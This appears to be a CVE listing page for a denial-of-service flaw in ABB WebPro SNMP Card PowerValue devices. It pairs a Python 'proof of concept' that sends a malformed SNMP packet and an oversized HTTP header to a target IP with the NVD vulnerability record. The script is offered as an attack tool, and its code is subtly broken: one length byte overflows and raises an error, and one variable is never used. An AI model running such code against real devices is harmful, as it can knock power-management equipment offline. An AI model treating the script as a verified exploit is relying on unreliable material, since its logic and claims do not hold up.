CVE-2025-4675

# CVE-2025-4675 PoC - ABB WebPro SNMP Card PowerValue异常条件触发 # 警告：仅用于授权安全测试 import socket import struct from scapy.all import IP, UDP, Raw def send_snmp_request(target_ip, target_port=161): """发送SNMP请求测试设备响应""" # 构造畸形的SNMP数据包以触发异常条件 # SNMP Version 0 ( SNMPv1 ) # Community string: 畸形的community字段 snmp_packet = b'\x30' # SEQUENCE # 构造异常数据 malformed_data = b'\x30\x82\x00\x00' # 异常长度的SEQUENCE malformed_data += b'\x02\x01\x00' # Version (SNMPv1) malformed_data += b'\x04' + bytes([len(b'A' * 256)]) + b'A' * 256 # 异常长度的community sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.settimeout(5) sock.sendto(malformed_data, (target_ip, target_port)) response, addr = sock.recvfrom(4096) print(f"[+] 收到响应: {addr}") return response except socket.timeout: print("[-] 未收到响应，设备可能存在漏洞") return None except Exception as e: print(f"[-] 错误: {e}") return None finally: sock.close() def send_http_fuzz(target_ip, port=80): """发送HTTP模糊测试请求""" # 发送包含异常HTTP头的请求 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, port)) # 构造异常请求 request = b'GET / HTTP/1.1\r\n' request += b'X-AABB: ' + b'A' * 1000 + b'\r\n\r\n' sock.send(request) print("[+] HTTP模糊请求已发送") except Exception as e: print(f"[-] HTTP测试错误: {e}") finally: sock.close() if __name__ == "__main__": target = "192.168.1.100" # 替换为目标设备IP print(f"[*] 开始测试 {target} CVE-2025-4675") send_snmp_request(target) send_http_fuzz(target)

{"cve": {"id": "CVE-2025-4675", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:15:59.987", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Check for Unusual or Exceptional Conditions vulnerability in ABB WebPro SNMP Card PowerValue, ABB WebPro SNMP Card PowerValue UL.This issue affects WebPro SNMP Card PowerValue: through 1.1.8.K; WebPro SNMP Card PowerValue UL: through 1.1.8.K."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=2CRT000009&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}